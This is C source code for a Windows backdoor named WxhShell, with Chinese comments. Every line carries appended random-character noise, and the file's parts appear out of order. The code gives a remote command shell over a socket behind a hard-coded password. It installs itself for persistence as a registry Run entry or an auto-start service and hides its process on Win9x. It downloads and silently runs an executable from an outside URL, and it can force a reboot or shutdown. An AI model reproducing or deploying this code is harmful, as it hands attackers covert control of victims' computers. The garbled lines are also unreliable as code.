    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); niqN{  
    if(Boot(SHUTDOWN)) `xywho%/Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "ajjJ"x A  
    else { pDh{Z g6t  
    closesocket(wsh); -|Y(V5]  
    ExitThread(0); B:e @0049  
    } l411a9o  
    break; O=$~O\}b  
    } n< ud> JIb  
  // 获取shell ~<k,#^"}X  
  case 's': { <%Ostqj  
    CmdShell(wsh); gx&Tt  
    closesocket(wsh); #%D_Y33;  
    ExitThread(0); t: IN,Kl4  
    break; FRS>KO=3  
  } {2+L @  
  // 退出 Mnz!nWhk  
  case 'x': { #ssN027  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g q}I[N  
    CloseIt(wsh); 2A\,-*pc  
    break; 8:#rA*Y  
    } Pp| *J^U 4  
  // 离开 ;Wl+ zw  
  case 'q': { *_KFW@bC:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,Vh{gm1  
    closesocket(wsh); ^ mS o1?<  
    WSACleanup(); |6(ZD^w  
    exit(1); B"v.* %"&/  
    break; 7\9>a  
        } {qmdm`V[  
  } o.'g]Q<}UB  
  } TP"1\O  
%^8^yZz  
  // 提示信息 RtCkVxaEx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :LQ5 u[g$\  
} h~(D@/tB  
  } !O#dV1wAa  
{fEwA8Ir  
  return; lr{?"tl_  
} ' /$d0`3B>  
,N e;kI  
// shell模块句柄 ^RP)>d9Xp{  
int CmdShell(SOCKET sock) DZv=\<$,LF  
{ [ e8x&{L-_  
STARTUPINFO si; <TE%Prd}`  
ZeroMemory(&si,sizeof(si)); 9{$<0,?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rS?pWTg"8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zt<WXw(  
PROCESS_INFORMATION ProcessInfo; Cxcr/9  
char cmdline[]="cmd"; l%`F&8K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XO9M_*Va  
  return 0; S_T1y  
} ]a! xUg!S  
1|?05<8  
// 自身启动模式 oX DN+4ge  
int StartFromService(void) )6w}<W*1E  
{ }#qGqY*@LK  
typedef struct V%_4%  
{ m1IKVa7-\}  
  DWORD ExitStatus; 6sE{{,OGB  
  DWORD PebBaseAddress; !p[9{U->o;  
  DWORD AffinityMask; g(Io/hyj  
  DWORD BasePriority; #!$GH_  
  ULONG UniqueProcessId; UTSL  
  ULONG InheritedFromUniqueProcessId; }?@rO`:EF+  
}   PROCESS_BASIC_INFORMATION; K3' niGT  
p?2Y }9  
PROCNTQSIP NtQueryInformationProcess; d~?X/sJ t  
(s1k$@d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |8.(XsN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t2V0lyeL  
`$~Rxz Z g  
  HANDLE             hProcess; Fk6x<^Q<w  
  PROCESS_BASIC_INFORMATION pbi; 8UMF q  
$rhgzpZ!X_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e{A9r@p!  
  if(NULL == hInst ) return 0; +MB!B9M@  
b-Z4 Jo G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wBInq~K_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xxm%u9@s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /c$\X<b);  
r&2~~_d3y  
  if (!NtQueryInformationProcess) return 0; D!oc>K$B  
%&Fk4Z}M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Lj"A4i_  
  if(!hProcess) return 0; e.*%K!(  
cDoo*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $%%os6y2v  
+e-,ST&w(  
  CloseHandle(hProcess); e|rg;`AW  
oM2UzB{(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); { K _kPgKS  
if(hProcess==NULL) return 0; ?6k}ii!c  
ZZj~GQL(S  
HMODULE hMod; a2f^x@0k  
char procName[255]; >z%Q>(F  
unsigned long cbNeeded; Y];Ycj;  
QnI.zq V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >?]_<:  
\NG C$p n  
  CloseHandle(hProcess); 8LI-gp\ 2  
{Rear 2  
if(strstr(procName,"services")) return 1; // 以服务启动 JI/_ce  
zi'Jr)n  
  return 0; // 注册表启动 S/`%Q2za4  
} Ln.ZVMZ;  
e*  
// 主模块 om3`[r[{  
int StartWxhshell(LPSTR lpCmdLine) }%-t+Tf,  
{ 9Q!b t  
  SOCKET wsl; "0EA;S8$8  
BOOL val=TRUE; d$Y7u  
  int port=0; t UR c bwV  
  struct sockaddr_in door; Fa epDjY8  
m3 ^/: <  
  if(wscfg.ws_autoins) Install(); {3Y )rY!z  
]}mxY vu_i  
port=atoi(lpCmdLine); GI7=x h  
'>k{tPi.  
if(port<=0) port=wscfg.ws_port; Dw2Q 'E  
H2r8,|XL  
  WSADATA data; @-)tM.8~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T'#!~GpB  
T%F0B`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $ C0TD7=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =1oNZKBP  
  door.sin_family = AF_INET; `T2<<<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :+%Zh@u\  
  door.sin_port = htons(port); >az;!7~cD  
B(DrY1ztj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;XC@ =RpX  
closesocket(wsl); U{ ;l0 2S  
return 1; e.o;eD}"  
} o+?r I p  
GOSI3RRn  
  if(listen(wsl,2) == INVALID_SOCKET) { _0pO8o-x  
closesocket(wsl); q+a.G2S  
return 1; Qpt&3_   
} zTD@  
  Wxhshell(wsl); <8 #ObdY!  
  WSACleanup(); *zWWmxcJa  
4.K'\S  
return 0; U,lJ"$'  
>J=<bhR  
} '+*-s7o{  
~JuKV&&}K  
// 以NT服务方式启动 S)A'Y]2X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H<ZU#U0FZf  
{ lM#A3/=K  
DWORD   status = 0; 8V$3b?]  
  DWORD   specificError = 0xfffffff; -@IL"U6  
\Xt) E[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ze!92g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ArI]`h'W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }Uf<ZXW  
  serviceStatus.dwWin32ExitCode     = 0; uD[ "{?H  
  serviceStatus.dwServiceSpecificExitCode = 0; *o' 4,+=am  
  serviceStatus.dwCheckPoint       = 0; z{BA4sn  
  serviceStatus.dwWaitHint       = 0; m_!U}!  
NNa1EXZ[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2N~ E' 25  
  if (hServiceStatusHandle==0) return; z}.D" P+  
cX At :m  
status = GetLastError(); 1Qh`6Ya f  
  if (status!=NO_ERROR) Z0fJ9 HW  
{ L|^o7 1t|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~]8p_;\  
    serviceStatus.dwCheckPoint       = 0; ^ft]b2i  
    serviceStatus.dwWaitHint       = 0; l[/q%Ca'>  
    serviceStatus.dwWin32ExitCode     = status; fw{,bJ(U  
    serviceStatus.dwServiceSpecificExitCode = specificError; .h;Se  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >&H~nGP.  
    return; LQ-6vrbs  
  } j1$<]f  
WA LGIW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =V|Nn0E  
  serviceStatus.dwCheckPoint       = 0; .}9FEn 8  
  serviceStatus.dwWaitHint       = 0; nd+?O7~}(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }`9`JmNM  
} C$#W{2x%6  
16@);Ot  
// 处理NT服务事件,比如:启动、停止 "A]Y~iQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zfjTQMaxh  
{ &-GuKH(Y<  
switch(fdwControl) (G4'(6  
{ $Kq<W{H3ut  
case SERVICE_CONTROL_STOP: B; -2$ 77  
  serviceStatus.dwWin32ExitCode = 0; c6b0*!D"}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZM~`Gd9K0E  
  serviceStatus.dwCheckPoint   = 0; P Tnac  
  serviceStatus.dwWaitHint     = 0; +zRh fIJHH  
  { %{STz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C=VIT*=  
  } 00M`%c/  
  return; u fw cF*  
case SERVICE_CONTROL_PAUSE: W3LP ~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D{AFL.r{  
  break; 4YJ=q% G  
case SERVICE_CONTROL_CONTINUE: jNy?[ )  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d.pp3D 9/  
  break; Q @2(aR  
case SERVICE_CONTROL_INTERROGATE: :HW>9nD.  
  break; WF/l7u#4i  
}; kUHie   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;aK.%-s-Z  
} W@B7yP7Rz  
\>)f5 gV@  
// 标准应用程序主函数 KtMbze  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6.Bh3p  
{ r]t )x*  
F^'v{@C  
// 获取操作系统版本 ?Bu}.0ku-$  
OsIsNt=GetOsVer(); tF`MT%{Va  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m.V,I}J.q  
a{_ KSg  
  // 从命令行安装 O|UxFnB}  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8U^D(jrz  
IT1P Pm  
  // 下载执行文件 nC~fvyd<P  
if(wscfg.ws_downexe) { Igjr~@ #  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ky&KF0  
  WinExec(wscfg.ws_filenam,SW_HIDE); uu>lDvR*  
} (/fT]6(  
)C}KR`"  
if(!OsIsNt) { ;i9>}]6  
// 如果时win9x,隐藏进程并且设置为注册表启动 >Me]m<$E;  
HideProc(); B~_Spp  
StartWxhshell(lpCmdLine); >Zdi5') 5  
} UE)fUTS  
else 99KVtgPm  
  if(StartFromService()) [EGx  
  // 以服务方式启动 l<2oklo5  
  StartServiceCtrlDispatcher(DispatchTable); aFG3tuaKrQ  
else $WNG07]tU  
  // 普通方式启动 m;h<"]<  
  StartWxhshell(lpCmdLine); |yAK@ Hl'  
9- G b"hr  
return 0; aQmfrx  
} u&SZ lkf6%  
k2OM="Ei}  
y#bK,}  
jvO3_Zt9  
=========================================== }Z-I2 =]  
taCCw2s-8*  
m %Y( O  
! o^Ic`FhS  
cno;>[$  
u 6(GM  
" 6+Jry@  
V5X i '=  
#include <stdio.h> =z-5  
#include <string.h>  0dh#/  
#include <windows.h> HZuiVW8  
#include <winsock2.h> fM{1Os  
#include <winsvc.h> A^cU$V%?W  
#include <urlmon.h> B<+pg  
\=8=wQv  
#pragma comment (lib, "Ws2_32.lib") #gI&lO*\gr  
#pragma comment (lib, "urlmon.lib") <Cr8V'c  
L"^.0*X/d  
#define MAX_USER   100 // 最大客户端连接数 ~T&% VvI  
#define BUF_SOCK   200 // sock buffer V{FE[v_  
#define KEY_BUFF   255 // 输入 buffer ?C~X@sq  
#|ddyCg2  
#define REBOOT     0   // 重启 cdN/Qy  
#define SHUTDOWN   1   // 关机 #Jv43L H  
}\4p3RQrz  
#define DEF_PORT   5000 // 监听端口 +l.|kkZ?  
T\cR2ZT~  
#define REG_LEN     16   // 注册表键长度 j Ii[  
#define SVC_LEN     80   // NT服务名长度 vu ?3$  
U,38qKE  
// 从dll定义API a6qwL4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .}~$1QKS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oc((Yo+B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W CoF{ *  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 55,=[  
2x6<8J8v*  
// wxhshell配置信息 Lxz  
struct WSCFG { :4iU^6  
  int ws_port;         // 监听端口 Hy;901( %  
  char ws_passstr[REG_LEN]; // 口令 -HN%B?}. x  
  int ws_autoins;       // 安装标记, 1=yes 0=no '5V^}/  
  char ws_regname[REG_LEN]; // 注册表键名 w`0)x5 TGR  
  char ws_svcname[REG_LEN]; // 服务名 ]DU61Z"v?b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }z?xGW/k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8Yxhd .  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &!6DC5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T|!D>l'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y!;gQeC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6I5o2i  
OFIMi^@  
}; %Dra7B%  
*i%.{ YH  
// default Wxhshell configuration N tO?  
struct WSCFG wscfg={DEF_PORT, )X~#n  
    "xuhuanlingzhe", ^aT;aP^l  
    1, cP, ;Qbe  
    "Wxhshell", PlF!cr7:4  
    "Wxhshell", ZX h~ 79  
            "WxhShell Service",  A<2I!  
    "Wrsky Windows CmdShell Service", KCl &H  
    "Please Input Your Password: ", hc6.#~i  
  1, @Mzz2&(d U  
  "http://www.wrsky.com/wxhshell.exe", ^J0zXe -d  
  "Wxhshell.exe" l`G(O$ct  
    }; =p5?+3" @  
rQn{L{  
// 消息定义模块 % <^[j^j}o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G{/;AK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8i[".9}G\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6GY32\Ac  
char *msg_ws_ext="\n\rExit."; z;U LQ  
char *msg_ws_end="\n\rQuit."; kAY@^vi  
char *msg_ws_boot="\n\rReboot..."; Z6NJ)XQy6F  
char *msg_ws_poff="\n\rShutdown..."; K q/~T7Ru  
char *msg_ws_down="\n\rSave to "; Uld_X\;Q4  
9e-*JYF]C  
char *msg_ws_err="\n\rErr!"; v;Swo("  
char *msg_ws_ok="\n\rOK!"; ^g70AqUc  
8g.AT@ ,Q  
char ExeFile[MAX_PATH]; UBL(Nr  
int nUser = 0; IvFR <n  
HANDLE handles[MAX_USER]; //~POm  
int OsIsNt; I Jqv w  
692Rw}/  
SERVICE_STATUS       serviceStatus; &3WkH W   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Mp^^!AP9  
-g9^0V`G  
// 函数声明 mMV2h|W   
int Install(void); dFx2>6AZt  
int Uninstall(void); p}96uaC1  
int DownloadFile(char *sURL, SOCKET wsh); (%6(5,   
int Boot(int flag); Z@;jIH4 (  
void HideProc(void); \>4v?\8o  
int GetOsVer(void); Akv(} !g  
int Wxhshell(SOCKET wsl); lj4%(rB=  
void TalkWithClient(void *cs); bd,Uz% o_  
int CmdShell(SOCKET sock); @k_Jl>X  
int StartFromService(void);  V+peO  
int StartWxhshell(LPSTR lpCmdLine); D&4u63^  
D~5yj&&T;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4[2=L9MIo~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 45?*:)l:  
||yXp2  
// 数据结构和表定义 R:]/{b4Uq  
SERVICE_TABLE_ENTRY DispatchTable[] = gW'P`Oxw  
{ uE"5cq'B/  
{wscfg.ws_svcname, NTServiceMain}, ;R/k2^uF  
{NULL, NULL} W+8BQ- 2  
}; '$n:CNha  
J 5Wz4`'  
// 自我安装 j?Cr31  
int Install(void) RP,A!pa@  
{ c!tvG*{  
  char svExeFile[MAX_PATH]; gTqeJWX9wP  
  HKEY key; N-X VRuv  
  strcpy(svExeFile,ExeFile); s.VUd R"  
fEHh]%GT`  
// 如果是win9x系统,修改注册表设为自启动 &7$,<9.  
if(!OsIsNt) { .=>\Qq%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yJF 2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .Ln;m8  
  RegCloseKey(key); `l+ >iM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $dlnmNP+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {9h`$e=  
  RegCloseKey(key); JX2mTQ  
  return 0; Fl B, (Cm  
    } ;3 G~["DA  
  } $?[1#%  
} _=o1?R  
else { "L9C  
Oyi;bb<#  
// 如果是NT以上系统,安装为系统服务 [B}1z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7k'=Fm6za  
if (schSCManager!=0) >Y,/dyT Zm  
{ t)\D  
  SC_HANDLE schService = CreateService K?5B>dv@A  
  ( 2=igS#h  
  schSCManager, j5PaSk&o=  
  wscfg.ws_svcname, 8FxcI!A@  
  wscfg.ws_svcdisp, z0T`5N G@  
  SERVICE_ALL_ACCESS, @PT`CK}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qgwv=5|  
  SERVICE_AUTO_START, T r SN00  
  SERVICE_ERROR_NORMAL, J!=](s5|  
  svExeFile, \Ku9"x  
  NULL, 'dmp4VT3  
  NULL, N90\]dFmy  
  NULL, jHs<s`#h  
  NULL, 3C> 2x(]M  
  NULL HF*j`}  
  ); jf$JaY  
  if (schService!=0) bHhC56[M  
  { ,"P5D&,_  
  CloseServiceHandle(schService); .'l.7t  
  CloseServiceHandle(schSCManager); Zk~nB}Xw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0t5Q9#RY  
  strcat(svExeFile,wscfg.ws_svcname); l84h%,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a9yIV5_N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ArNur~  
  RegCloseKey(key); 2(c<U6#C'l  
  return 0; 4a(g<5wfI  
    } JK@izI  
  } &/B2)l6a  
  CloseServiceHandle(schSCManager); yf `.%  
} 3S[w'  
} Fv?R\`52u  
8vz_~p9%j  
return 1; r!{w93rPX  
} SRA|7g}7W  
1Pud,!\%q  
// 自我卸载 D__lqboz  
int Uninstall(void) anHBy SI3  
{ hKk\Y{wv'  
  HKEY key; *23m-  
1_Dn?G^H  
if(!OsIsNt) { 7sQ]w   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /Nj:!! AN  
  RegDeleteValue(key,wscfg.ws_regname); Q3B'-BZe  
  RegCloseKey(key); qT4I Y$h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zznPD%#Sc  
  RegDeleteValue(key,wscfg.ws_regname); K$MJ#Zx^  
  RegCloseKey(key); ;whFaQi 4  
  return 0; #JJp:S~`   
  } xFsB?d  
} kWZ/ej  
} D%c7JK  
else { w?V[[$  
p/\$P=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JLy)}8I  
if (schSCManager!=0) w5dI k]T  
{ d8Q_6(Ar|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XBfiaj  
  if (schService!=0) ,W)IVc   
  { q|47;bK'  
  if(DeleteService(schService)!=0) { z;fd#N:  
  CloseServiceHandle(schService); l }2%?d  
  CloseServiceHandle(schSCManager); %\(y8QV  
  return 0; {Y3_I\H8{  
  } &%f]-=~  
  CloseServiceHandle(schService); 5XSxQG@k^z  
  } Sb:zN'U  
  CloseServiceHandle(schSCManager); 0[Xt,~  
} CX&yjT6`  
} eZN3H"H  
7]M,yIwc  
return 1; G1#Bb5q:  
} IyG = 7  
yNhscAMNn  
// 从指定url下载文件 2fj0 I  
int DownloadFile(char *sURL, SOCKET wsh) /%ODJ1M  
{ , 6EZb[;g^  
  HRESULT hr; ^*cMry  
char seps[]= "/"; 3<zTkI  
char *token; d I#8CO  
char *file; M5cOz|j/*R  
char myURL[MAX_PATH]; `_J^g&y~  
char myFILE[MAX_PATH]; b2/N H1A  
:f?,]|]+-  
strcpy(myURL,sURL); SQ~N X)  
  token=strtok(myURL,seps); a`EGx{q(  
  while(token!=NULL) :|n>H+Y  
  { 4! Oa4  
    file=token; 1c<CEq:?e%  
  token=strtok(NULL,seps); 66^1&D"  
  } in=k:j,U0  
)}k?r5g  
GetCurrentDirectory(MAX_PATH,myFILE); c{m ;"ZCFS  
strcat(myFILE, "\\"); O]Ry3j  
strcat(myFILE, file); 5O;a/q8"  
  send(wsh,myFILE,strlen(myFILE),0); uh C=  
send(wsh,"...",3,0); Ww'TCWk@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r?5@Etpg  
  if(hr==S_OK) Uf7F8JZmM  
return 0; <\}Y@g8  
else YmO"EWb  
return 1; 7U{b+=,wK  
i">z8?qF  
} G!e}j @@  
u'$yYzBE  
// 系统电源模块 m]-v IUpb  
int Boot(int flag) A/$KA'jX  
{ K+h9bI/Sf  
  HANDLE hToken; (2O} B.6  
  TOKEN_PRIVILEGES tkp; CD8JYiJ  
aiR|.opIb  
  if(OsIsNt) { uJ IRk$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @ V7ooo!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z5*(W;;  
    tkp.PrivilegeCount = 1; }GoOE=rhY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P[#WHbn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qOcG|UgF  
if(flag==REBOOT) { aV?}+Y{#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A5.'h<  
  return 0; (. quX@w"m  
} ,rH)}C<Q+  
else { &-8-xw#.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~P]HG;$?n  
  return 0; ArmL,  
} F)E7(Un`8  
  } 0'q(XB`i=  
  else { WB=<W#?w7%  
if(flag==REBOOT) { ?G>5 D`V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nIT^'  
  return 0; Kc9mI>uH  
} 4ye`;hXy  
else { ?(,5eg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e&H<lT  
  return 0; -;@5Ua1uf  
} {M)3GsP?  
} +}(B856+  
$^NWzc  
return 1; WfTdD.Xx  
} uG(~m_7Hx  
,syA()  
// win9x进程隐藏模块 :d% -,v  
void HideProc(void) M[ ~2,M&H  
{ . ~A"Wyu\  
RZV1:hNN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k9_VhR|!  
  if ( hKernel != NULL ) ;GSFQ:m[  
  { F'5d\v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :`>+f.)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z z; <P  
    FreeLibrary(hKernel); {Jw<<<G  
  } o$blPTN  
,I2re G  
return; jC/JiI  
} (;2J(GZ:$U  
{ck  
// 获取操作系统版本 %B {D  
int GetOsVer(void) ]!tYrSM!  
{ y9G57D  
  OSVERSIONINFO winfo; Cj4b]*Q,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YAC zznN  
  GetVersionEx(&winfo); e}Af"LI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vZ nO  
  return 1; H8t{ >C)]  
  else <E}]t,'3  
  return 0; '9p5UC  
} mk`cyN>m  
9Pob|UA  
// 客户端句柄模块 !iitx U  
int Wxhshell(SOCKET wsl) }_kI>  
{ 5k%N<e` `  
  SOCKET wsh; y8~)/)l&  
  struct sockaddr_in client; 6rN5Xf cS  
  DWORD myID; }'.Sn{OWf  
^cmP  
  while(nUser<MAX_USER) h$ETH1Ue  
{ =iK6/ y`  
  int nSize=sizeof(client); GaK_9Eg-2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E]eqvTNH  
  if(wsh==INVALID_SOCKET) return 1; %*Z2Gef?H  
}PIGj}F/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9}qfdbI  
if(handles[nUser]==0) U*R~w5W.[  
  closesocket(wsh); E=1/  
else Q!+{MsZ  
  nUser++; &v9PT!R~  
  } dT@SO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SE}RP3dF!  
sO4}kxZ  
  return 0; ! ?U^+)^$  
} Mevyj;1t  
Hj4w i|  
// 关闭 socket x+:,b~Skk  
void CloseIt(SOCKET wsh) 2wuW5H8w{  
{ KlqJ EtO_  
closesocket(wsh); @8M2'R\  
nUser--; VF!kr1n!  
ExitThread(0); (Q]Y> '  
} 4\'81"e i  
Z=t#*"J  
// 客户端请求句柄 #&2N,M!Q  
void TalkWithClient(void *cs) sv{0XVn+^  
{ ^Lv ^W  
%J ( }D7-,  
  SOCKET wsh=(SOCKET)cs; b}U&bFl  
  char pwd[SVC_LEN]; 9Or4`JOO  
  char cmd[KEY_BUFF]; GwpBDM k  
char chr[1]; g d}TTe  
int i,j; |8U7C\S[  
% K7EF_%  
  while (nUser < MAX_USER) { v/ 00L R  
X3=Jp'p$h  
if(wscfg.ws_passstr) { L z>{FOR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rNzhP*Fw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s)DNLx  
  //ZeroMemory(pwd,KEY_BUFF); KjfKo;T  
      i=0; H"RF[bX(  
  while(i<SVC_LEN) { `:BQ&T%UQR  
L"du"-  
  // 设置超时 ; 7v7V  
  fd_set FdRead; ,;e-37^0l  
  struct timeval TimeOut; GoVPo'  
  FD_ZERO(&FdRead); [[r3fEr$!p  
  FD_SET(wsh,&FdRead); p$o&dQ=n[  
  TimeOut.tv_sec=8; KsU&<eQ  
  TimeOut.tv_usec=0; {_X1&&>8/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "O1*uwm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *Qwhi&k  
KRR^?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <<zz*;RJJ  
  pwd=chr[0]; :2Rci`lp  
  if(chr[0]==0xd || chr[0]==0xa) { 8J?`_  
  pwd=0; X-r,>o:  
  break; !#4HGjPI  
  } kR~4O$riG  
  i++; {f-/,g~  
    } % m5^p  
jc~*#\N  
  // 如果是非法用户,关闭 socket AXv;r<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iGeT^!N  
} Ft8h=  
f5qHBQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D& 6Qk&>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I 3,e)Z  
DoB3_=yJ+  
while(1) { MG5Sn*(C  
W]Tt8  
  ZeroMemory(cmd,KEY_BUFF); XoQk'7"f  
eh7r'DmAR  
      // 自动支持客户端 telnet标准   yr 9)ga%  
  j=0; ="[](X^ l  
  while(j<KEY_BUFF) { `k%#0E*H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kt0{-\ p  
  cmd[j]=chr[0]; L.%~?T[F  
  if(chr[0]==0xa || chr[0]==0xd) { lLFBop  
  cmd[j]=0; {UC<I.5X  
  break; RT A=|q  
  } z,x"vK(  
  j++; OQ&D?2r  
    } tBI+uu aa2  
s=Q*|  
  // 下载文件 '\E{qlI  
  if(strstr(cmd,"http://")) { B|$13dHfa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); aKzD63  
  if(DownloadFile(cmd,wsh)) ~Q 9)Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A*U'SCg(G  
  else B5r_+?=2e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -R \ @W q@  
